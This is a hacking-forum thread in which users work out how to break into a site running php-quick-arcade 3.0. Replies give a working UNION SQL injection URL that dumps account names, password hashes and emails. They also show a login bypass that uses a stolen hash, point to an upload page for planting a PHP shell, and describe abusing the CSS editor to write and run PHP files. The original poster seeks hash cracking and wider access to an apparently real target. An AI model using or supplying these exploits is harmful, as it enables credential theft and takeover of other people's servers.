alright i guess im gonna come back to this mysql error, i think i probably cant do anything with it but waraxe said to post the error... first of all this is php-quick-arcade 3.0 and is open source if anyone wants to look at it..
a regular url request looks like this
| Code: | | http://***********.com/arcade/?search=content+here&by=game&searchcat=All&action=search |
and if i change the by variable to ' it gives me the following pop up errors
| Code: | Database Error: You have an error in your sql syntax; check the manual that corresponds to your MySQL server version for the right for the right syntax near '' LIKE '%content+here%' ORDER BY id DESC)' at line 1
|
then it says
| Code: | | Query used: (SELECT gameid,game,about,Champion_name,Champion_score,times_played, FROM phpqa_games ORDER BY rand() LIMIT 1) UNION ALL (SELECT gameid,game,about,Champion_name,Champion_score,times_played, FROM phpqa_games WHERE '' LIKE '%content+here%' ORDER BY id DESC) |
i hope thats enough information for someone to tell me if i can do anything  also if i remember right the user table is phpqa_users which you could probably infer
EDIT:
some more information after i do that there is an error printed on the screen | Code: | | Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/*******/public_html/arcade/Arcade.php on line 2030 |
also if I change the by variable to random letters i get | Code: | | Database error: Unkown column 'random' in ' where clause ' |

OK, tested this on my local server and exploiting was kinda complicated.
Still, there is working exploit:
| Code: |
http://localhost/phpqav.3.0.20/Arcade.php?search=zz&action=search&by=about>0+ORDER+BY+id+DESC)+UNION+ALL+(SELECT+1,2,CONCAT_WS(0x3a,id,name,pass,email),4,5,6+FROM+phpqa_accounts+ORDER+BY+id+ASC)--+
|
By the way, password hashing algorithm is custom:
| Code: |
$pass = md5(sha1(htmlspecialchars($_POST['postpassword'])));
|
Still, there can be possibility to craft cookies and get in without cracking the hash. But this is just guess, more analyze is needed  |

Waraxe do you know how i can make a dll file to use for inside pro to use this algorithm or atleast can you help me crack and by the way it is possible to forge the cookie but im also looking to gain acess to other parts of the site

I have found easy way to get logged in with username and password hash. And that's without any cookie crafting. Just issue the request:
| Code: |
http://localhost/phpqav.3.0.20/Arcade.php?action=login&recovery=1&userID=Admin&pword=0c7540eb7e65b553ec1ba6b20de79608
|
Let me know about results
P.S.
| Code: |
http://localhost/phpqav.3.0.20/Arcade.php?cparea=addgames&method=upload
|
Looks like easy way to upload php shell |

How'd you manage that?
I'm trying and failing.
| Code: | if ($_POST['addcssfile']) {
vsess();
$fp = fopen("./skins/".$_POST['skincssfilename'].".css","w+"); |
Wouldn't that just make everything PHP open as text on a .css? |

| Jason, unless it's been patched (which I doubt) what I did was when in the admin panel I go to the page where you can edit the css and in the url bar I change where it shows the filename of the css file to a php file and i load that page and in the text box you can edit the source of the php file your making and when you save it it will save to http://localhost/arcade/skins/whateverwasinurl.php and you can run it from there |
